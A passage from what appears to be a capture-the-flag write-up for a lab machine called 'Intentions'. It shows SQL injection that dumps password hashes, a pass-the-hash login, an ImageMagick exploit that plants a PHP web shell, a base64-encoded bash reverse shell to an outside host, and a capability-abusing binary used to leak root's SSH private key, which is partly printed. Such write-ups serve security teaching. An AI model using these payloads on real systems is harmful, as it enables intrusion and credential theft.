"},{"id":13,"file":"public\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg"},{"id":14,"file":"public\/food\/rod-long--LMw-y4gxac-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/rod-long--LMw-y4gxac-unsplash.jpg"},{"id":15,"file":"public\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg"},{"id":16,"file":"public\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg"},{"id":17,"file":"public\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg"},{"id":18,"file":"public\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg"},{"id":19,"file":"public\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg"}]}
Let’s use UNION
queries to enumerate the database (union 1
, union 1,2
, … until there are no errors). In the end, we find out that the table has 5 columns:
$ sqli "') union select 1,2,3,4,5 or ('1'='1"
{"status":"success","data":[{"id":1,"file":"2","genre":"3","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:01.000000Z","url":"\/storage\/2"}]}
Let’s use jq
and the file
field to exfiltrate information:
$ sqli "') union select 1,1337,3,4,5 or ('1'='1" | jq
{
"status": "success",
"data": [
{
"id": 1,
"file": "1337",
"genre": "3",
"created_at": "1970-01-01T00:00:04.000000Z",
"updated_at": "1970-01-01T00:00:01.000000Z",
"url": "/storage/2"
}
]
}
$ sqli "') union select 1,1337,3,4,5 or ('1'='1" | jq -r '.data[0].file'
1337
Let’s start with basic information about the database:
$ sqli "') union select 1,version(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
10.6.12-MariaDB-0ubuntu0.22.04.1
$ sqli "') union select 1,user(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
laravel@localhost
$ sqli "') union select 1,database(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
intentions
The user named laravel
seems promising… Maybe the back-end web application is built with Laravel (a PHP framework).
For the moment, let’s dump the database. These are the available tables:
$ sqli "') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='intentions'),3,4,5 or ('1'='1" | jq -r '.data[0].file'
gallery_images,personal_access_tokens,migrations,users
Let’s see what’s in users
table:
$ sqli "') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='intentions'),3,4,5 or ('1'='1" | jq -r '.data[0].file'
id,name,email,password,created_at,updated_at,admin,genres
Alright, let’s dump this table:
$ sqli "') union select 1,(select group_concat(concat(admin,0x20,email,0x20,password,0x0a)) from users),3,4,5 or ('1'='1" | jq -r '.data[0].file'
1 steve@intentions.htb $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa
,1 greg@intentions.htb $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m
,0 hettie.rutherford@example.org $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6
,0 nader.alva@example.org $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2
,0 jones.laury@example.com $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae
,0 wanda93@example.org $2y$10$oKGH6f8KdEblk6hzkqa2meqyDeiy5gOSSfMeygzoFJ9d1eqgiD2rW
,0 mwisoky@example.org $2y$10$pAMvp3xPODhnm38lnbwPYuZN0B/0nnHyTSMf1pbEoz6Ghjq.ecA7.
,0 lura.zieme@example.org $2y$10$.VfxnlYhad5YPvanmSt3L.5tGaTa4/dXv1jnfBVCpaR2h.SDDioy2
,0 pouros.marcus@example.net $2y$10$UD1HYmPNuqsWXwhyXSW2d.CawOv1C8QZknUBRgg3/Kx82hjqbJFMO
,0 mellie.okon@example.com $2y$10$4nxh9pJV0HmqEdq9sKRjKuHshmloVH1eH0mSBMzfzx/kpO/XcKw1m
,0 trace94@example.net $2y$10$by.sn.tdh2V1swiDijAZpe1bUpfQr6ZjNUIkug8LSdR2ZVdS9bR7W
,0 kayleigh18@example.com $2y$10$9Yf1zb0jwxqeSnzS9CymsevVGLWIDYI4fQRF5704bMN8Vd4vkvvHi
,0 tdach@example.com $2y$10$UnvH8xiHiZa.wryeO1O5IuARzkwbFogWqE7x74O1we9HYspsv9b2.
,0 lindsey.muller@example.org $2y$10$yUpaabSbUpbfNIDzvXUrn.1O8I6LbxuK63GqzrWOyEt8DRd0ljyKS
,0 tschmidt@example.org $2y$10$01SOJhuW9WzULsWQHspsde3vVKt6VwNADSWY45Ji33lKn7sSvIxIm
,0 murray.marilie@example.com $2y$10$I7I4W5pfcLwu3O/wJwAeJ.xqukO924Tx6WHz1am.PtEXFiFhZUd9S
,0 barbara.goodwin@example.com $2y$10$0fkHzVJ7paAx0rYErFAtA.2MpKY/ny1.kp/qFzU22t0aBNJHEMkg2
,0 maggio.lonny@example.org $2y$10$p.QL52DVRRHvSM121QCIFOJnAHuVPG5gJDB/N2/lf76YTn1FQGiya
,0 chackett@example.org $2y$10$GDyg.hs4VqBhGlCBFb5dDO6Y0bwb87CPmgFLubYEdHLDXZVyn3lUW
,0 layla.swift@example.net $2y$10$Gy9v3MDkk5cWO40.H6sJ5uwYJCAlzxf/OhpXbkklsHoLdA8aVt3Ei
,0 rshanahan@example.net $2y$10$/2wLaoWygrWELes242Cq6Ol3UUx5MmZ31Eqq91Kgm2O8S.39cv9L2
,0 shyatt@example.com $2y$10$k/yUU3iPYEvQRBetaF6GpuxAwapReAPUU8Kd1C0Iygu.JQ/Cllvgy
,0 sierra.russel@example.com $2y$10$0aYgz4DMuXe1gm5/aT.gTe0kgiEKO1xf/7ank4EW1s6ISt1Khs8Ma
,0 ferry.erling@example.com $2y$10$iGDL/XqpsqG.uu875Sp2XOaczC6A3GfO5eOz1kL1k5GMVZMipZPpa
,0 beryl68@example.org $2y$10$stXFuM4ct/eKhUfu09JCVOXCTOQLhDQ4CFjlIstypyRUGazqmNpCa
,0 ellie.moore@example.net $2y$10$NDW.r.M5zfl8yDT6rJTcjemJb0YzrJ6gl6tN.iohUugld3EZQZkQy
,0 littel.blair@example.org $2y$10$S5pjACbhVo9SGO4Be8hQY.Rn87sg10BTQErH3tChanxipQOe9l7Ou
,0 asdf@asdf.com $2y$10$7dKQJxrAGL8.rQXGtAs3NuNavuICIlaSKD9VMm3n.3GdPoTKFJ.Ba
,0 fdsa@asdf.com $2y$10$hIADcactVwH6Kg7Mb4fIfeXvExAeKkwc3T04yEnKgSELdfy.WgOmW
Great, we have a lot of users and hashed passwords. We can try to crack the hashes, but they are Bcrypt hashes, which are very hard to break in terms of computational power.
Pass the Hash
In fact, recall that v2
login requires a hash
field and not a plaintext password… Let’s try:
$ curl 10.10.11.220/api/v2/auth/login -id '{"email":"steve@intentions.htb","hash":"$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa"}' -H 'Content-Type: application/json'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache, private
Date:
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNjg4NjAxNjQxLCJleHAiOjE2ODg2MjMyNDEsIm5iZiI6MTY4ODYwMTY0MSwianRpIjoicnpXTTRLSjg4WXVqaHk4cyIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.jN8_e263_pWhVUWrDDM1htQNtG7MoPYgE2ec5jG9n84
X-RateLimit-Limit: 3600
X-RateLimit-Remaining: 3597
Access-Control-Allow-Origin: *
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNjg4NjAxNjQxLCJleHAiOjE2ODg2MjMyNDEsIm5iZiI6MTY4ODYwMTY0MSwianRpIjoicnpXTTRLSjg4WXVqaHk4cyIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.jN8_e263_pWhVUWrDDM1htQNtG7MoPYgE2ec5jG9n84; expires=Thu, 06-Jul-2023 06:00:41 GMT; Max-Age=21600; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
{"status":"success","name":"steve"}
With this, we have a valid session cookie for steve
(the JWT token), which has admin
field set to 1
. If we add the cookie to the browser, we will enter in steve
’s profile:
After a quick guess, we can try to access /admin
and we are redirected to this page:
There is a note about why the v2
API developer thought that authenticating with a hash instead of a password was a good idea. Anyways, as admin
we have access to the list of all users and all uploaded images:
We have the chance to mess around with the images:
If we use Burp Suite, we will see these request and response:
We can try to see if the server reads arbitrary files like /etc/passwd
:
But we can also test if the server is able to get remote files:
And it is!
$ nc -nlvp 80
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.220:46004.
GET /asdf HTTP/1.1
Host: 10.10.14.242
Connection: close
^C
Remote Code Execution
We can try to upload a PHP file to the server, but it looks like the file is not saved if it is not an image file.
After a bit of research, we find out that if ImageMagick is used under the hood, we might be able to write arbitrary files in the machine. This can lead to writing PHP code and then tell the server to execute it to get RCE. The intended exploit can be found in swarm.ptsecurity.com. It involves uploading the following XML document:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_GET['c']); ?>" />
<write filename="info:/var/www/html/intentions/storage/shell.php" />
</image>
As can be seen, we are trying to write <?php system($_GET['c']); ?>
in a PHP file in a public folder of the server in order to get RCE. This is a VID scheme, which indicates ImageMagick to process other files and perform actions specified in the XML document.
A successful request/response can be seen below:
And now we have RCE:
$ curl '10.10.11.220/storage/shell.php?c=whoami'
caption:www-data
CAPTION 120x120 120x120+0+0 16-bit sRGB 4.480u 0:05.425
Let’s get a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl '10.10.11.220/storage/shell.php?c=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.220:44940.
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
www-data@intentions:~/html/intentions/storage/app/public$ cd
cd
www-data@intentions:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@intentions:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@intentions:~$ export TERM=xterm
www-data@intentions:~$ export SHELL=bash
www-data@intentions:~$ stty rows 50 columns 158
System enumeration
As www-data
there is not much to do. We can see that there are low-privileged users:
www-data@intentions:~$ ls /home
greg legal steven
Moreover, we can see that there is a directory called scanner
in /opt
that belongs to a group called scanner
. Users legal
and greg
belong to this group:
www-data@intentions:~$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Jun 10 15:14 .
drwxr-xr-x 18 root root 4096 Jun 19 13:34 ..
drwxr-x--- 2 root scanner 4096 Jun 19 11:26 scanner
www-data@intentions:~$ grep scanner /etc/group
scanner:x:1003:greg,legal
At this point, we must take a look at the web server source code:
www-data@intentions:~$ pwd
/var/www
www-data@intentions:~$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 1 14:52 .
drwxr-xr-x 13 root root 4096 Jun 16 11:11 ..
drwxr-xr-x 3 root root 4096 Feb 2 17:55 html
www-data@intentions:~$ ls -la html/
total 12
drwxr-xr-x 3 root root 4096 Feb 2 17:55 .
drwxr-xr-x 3 root root 4096 Feb 1 14:52 ..
drwxr-xr-x 14 root root 4096 Feb 2 17:55 intentions
www-data@intentions:~$ ls -la html/intentions/
total 820
drwxr-xr-x 14 root root 4096 Feb 2 17:55 .
drwxr-xr-x 3 root root 4096 Feb 2 17:55 ..
-rw-r--r-- 1 root root 1068 Feb 2 17:38 .env
drwxr-xr-x 8 root root 4096 Feb 3 00:51 .git
-rw-r--r-- 1 root root 3958 Apr 12 2022 README.md
drwxr-xr-x 7 root root 4096 Apr 12 2022 app
-rwxr-xr-x 1 root root 1686 Apr 12 2022 artisan
drwxr-xr-x 3 root root 4096 Apr 12 2022 bootstrap
-rw-r--r-- 1 root root 1815 Jan 29 19:58 composer.json
-rw-r--r-- 1 root root 300400 Jan 29 19:58 composer.lock
drwxr-xr-x 2 root root 4096 Jan 29 19:26 config
drwxr-xr-x 5 root root 4096 Apr 12 2022 database
-rw-r--r-- 1 root root 1629 Jan 29 20:17 docker-compose.yml
drwxr-xr-x 534 root root 20480 Jan 30 23:38 node_modules
-rw-r--r-- 1 root root 420902 Jan 30 23:38 package-lock.json
-rw-r--r-- 1 root root 891 Jan 30 23:38 package.json
-rw-r--r-- 1 root root 1139 Jan 29 19:15 phpunit.xml
drwxr-xr-x 5 www-data www-data 4096 Jul 5 20:40 public
drwxr-xr-x 7 root root 4096 Jan 29 19:58 resources
drwxr-xr-x 2 root root 4096 Jun 19 11:22 routes
-rw-r--r-- 1 root root 569 Apr 12 2022 server.php
drwxr-xr-x 5 www-data www-data 4096 Jul 5 12:43 storage
drwxr-xr-x 4 root root 4096 Apr 12 2022 tests
drwxr-xr-x 45 root root 4096 Jan 29 19:58 vendor
-rw-r--r-- 1 root root 722 Feb 2 17:46 webpack.mix.js
As usual, we must look for hard-coded credentials for database connections, configuration files, environment variables… Maybe other vulnerabilities can be discovered by reading the source code.
Moreover, there is a .git
directory, so the PHP source code is managed with a Git repository. From this shell, we will have some issues to enumerate the Git repository:
www-data@intentions:~$ cd html/intentions/
www-data@intentions:~/html/intentions$ git log
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:
git config --global --add safe.directory /var/www/html/intentions
www-data@intentions:~/html/intentions$ git status
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:
git config --global --add safe.directory /var/www/html/intentions
Therefore, a good idea is to compress the web server directory and transfer it to our machine:
www-data@intentions:~/html/intentions$ cd ..
www-data@intentions:~/html$ tar cfz /tmp/intentions.tar.gz intentions/
www-data@intentions:~/html$ cd /tmp
www-data@intentions:/tmp$ file intentions.tar.gz
intentions.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 374579200
www-data@intentions:/tmp$ ls -lh --time-style=+ intentions.tar.gz
-rw-r--r-- 1 www-data www-data 192M intentions.tar.gz
www-data@intentions:/tmp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /intentions.tar.gz HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ wget -q 10.10.11.220:8000/intentions.tar.gz
$ tar xfz intentions.tar.gz
$ cd intentions
Lateral movement to user greg
At this point, we can use git
to enumerate the repository. For instance, let’s start enumerating branches and commits:
$ git branch
* master
$ git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date: Mon Jan 30 15:29:12 2023 +0100
Fix webpack for production
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date: Thu Jan 26 09:21:52 2023 +0100
Test cases did not work on steve's local database, switching to user factory per his advice
commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date: Wed Jan 25 20:45:12 2023 +0100
Adding test cases for the API!
commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd
Author: steve <steve@intentions.htb>
Date: Fri Jan 20 14:19:32 2023 +0100
Initial v2 commit
When reading one of the commits, we can find a plaintext password for greg
(Gr3g1sTh3B3stDev3l0per!1998!
):
diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
new file mode 100644
index 0000000..f57e37b
--- /dev/null
+++ b/tests/Feature/Helper.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace Tests\Feature;
+use Tests\TestCase;
+use App\Models\User;
+use Auth;
+class Helper extends TestCase
+{
+ public static function getToken($test, $admin = false) {
+ if($admin) {
+ $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+ return $res->headers->get('Authorization');
+ }
+ else {
+ $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+ return $res->headers->get('Authorization');
+ }
+ }
+}
(END)
And this password works to connect via SSH:
$ ssh greg@10.10.11.220
greg@10.10.11.220's password:
$ bash
greg@intentions:~$ cat user.txt
645f9b8661b3482d3c1ffd2faa83ec66
Privilege escalation
Remember that now we belong to scanner
group:
greg@intentions:~$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
So, we can access files at /opt/scanner
:
greg@intentions:~$ find / -group scanner 2>/dev/null
/opt/scanner
/opt/scanner/scanner
greg@intentions:~$ file /opt/scanner/scanner
/opt/scanner/scanner: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=a7sTitVjvr1qc4Ngg3jt/LY6QPsAiDYUOHaK7gUXN/5aWVPmSwER6KHrDxGzr4/SUP48whD2UTLJ-Q2kLmf, stripped
greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.
This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.
The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.
Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}
-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h
Moreover, there are some interesting files in the home directory that refer to /opt/scanner/scanner
as well:
greg@intentions:~$ ll
total 60
drwxr-x--- 5 greg greg 4096 Jul 6 00:51 ./
drwxr-xr-x 5 root root 4096 Jun 10 14:56 ../
lrwxrwxrwx 1 root root 9 Jun 19 13:09 .bash_history -> /dev/null
-rw-r--r-- 1 greg greg 220 Feb 2 18:10 .bash_logout
-rw-r--r-- 1 greg greg 3771 Feb 2 18:10 .bashrc
drwx------ 2 greg greg 4096 Jun 10 15:18 .cache/
-rwxr-x--- 1 root greg 75 Jun 10 17:33 dmca_check.sh*
-rwxr----- 1 root greg 11044 Jun 10 15:31 dmca_hashes.test*
drwx------ 3 greg greg 4096 Jul 5 20:07 .gnupg/
drwxrwxr-x 3 greg greg 4096 Jun 10 15:26 .local/
-rw-r--r-- 1 greg greg 807 Feb 2 18:10 .profile
-rw------- 1 greg greg 12 Jul 5 12:53 .python_history
-rw-r----- 1 root greg 33 Jul 5 07:29 user.txt
-rw-r--r-- 1 greg greg 39 Jun 14 10:18 .vimrc
greg@intentions:~$ cat dmca_check.sh
/opt/scanner/scanner -d /home/legal/uploads -h /home/greg/dmca_hashes.test
greg@intentions:~$ head dmca_hashes.test
DMCA-#5133:218a61dfdebf15292a94c8efdd95ee3c
DMCA-#4034:a5eff6a2f4a3368707af82d3d8f665dc
DMCA-#7873:7b2ad34b92b4e1cb73365fe76302e6bd
DMCA-#2901:052c4bb8400a5dc6d40bea32dfcb70ed
DMCA-#9112:0def227f2cdf0bb3c44809470f28efb6
DMCA-#9564:b58b5d64a979327c6068d447365d2593
DMCA-#8997:26c3660f8051c384b63ba40ea38bfc72
DMCA-#2247:4a705343f961103c567f98b808ee106d
DMCA-#6455:1db4f2c6e897d7e2684ffcdf7d907bb3
DMCA-#9245:ae0e837a5492c521965fe1a32792e3f3
File read as root
The binary /opt/scanner/scanner
looks promising, but it is not SUID, and we can’t run it with sudo
. However, we can list capabilities and discover that the binary has CAP_DAC_READ_SEARCH
enabled, which allows us to read any file as root
:
greg@intentions:~$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/opt/scanner/scanner cap_dac_read_search=ep
The tool takes a file and computes an MD5 hash that is then compared against a list of hashes in order to find coincidences. We can set the number of bytes to read from the file with -l
.
There are a lot of options, but I only used -l
, -c
and -h
for the exploitation process. -c
is to indicate the file to compute the MD5 hash, and -h
is used to specify a file containing a description and a hash digest separated by a colon (:
), which is used to check for coincidences.
The way I solved this small challenge is a bit overkill, since the program has more options that can make it easier. Anyways, this is the idea: we can hash an given length of a file and check it with pre-computed hashes. We can pre-compute the hash of all printable characters, then hash the first byte of a file and then check that hash with our list of pre-computed hashes in order to find the character. Then, we add another variable character to the pre-computed hash list and continue the process until all the characters of the file are found.
Here we have a proof of concept (with just -l
, -c
and -h
):
greg@intentions:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
greg@intentions:~$ cd /tmp
greg@intentions:/tmp$ echo -n r | md5sum
4b43b0aee35624cd95b910189b3dc231 -
greg@intentions:/tmp$ echo r:4b43b0aee35624cd95b910189b3dc231 > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 1 -c /etc/passwd -h /tmp/hashes
[+] r matches /etc/passwd
greg@intentions:/tmp$ echo -n ro | md5sum
3605c251087b88216c9bca890e07ad9c -
greg@intentions:/tmp$ echo o:3605c251087b88216c9bca890e07ad9c > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 2 -c /etc/passwd -h /tmp/hashes
[+] o matches /etc/passwd
greg@intentions:/tmp$ echo -n roo | md5sum
6606afc4c696fa1b4f0f68408726649d -
greg@intentions:/tmp$ echo o:6606afc4c696fa1b4f0f68408726649d > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 3 -c /etc/passwd -h /tmp/hashes
[+] o matches /etc/passwd
greg@intentions:/tmp$ echo -n root | md5sum
63a9f0ea7bb98050796b649e85481845 -
greg@intentions:/tmp$ echo t:63a9f0ea7bb98050796b649e85481845 > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 4 -c /etc/passwd -h /tmp/hashes
[+] t matches /etc/passwd
Hope that it is clear the way we are finding the next character of the file. With this process, we can read /root/root.txt
, /etc/shadow
and /root/.ssh/id_rsa
, which are useful for privilege escalation. The above process needs to be automated; for that, I chose to write a program in C called get_file.c
(detailed explanation here).
Once compiled, we can transfer it to the machine and get the id_rsa
of the root
user:
$ gcc get_file.c -lcrypto -s -static -O3 -o get_file
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.220 - - [] "GET /get_file HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
greg@intentions:/tmp$ wget -q 10.10.17.44/get_file
greg@intentions:/tmp$ chmod +x get_file
greg@intentions:/tmp$ ./get_file
[!] Usage: ./get_file <file-to-read>
greg@intentions:/tmp$ cd /opt/scanner
greg@intentions:/opt/scanner$ /tmp/get_file /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
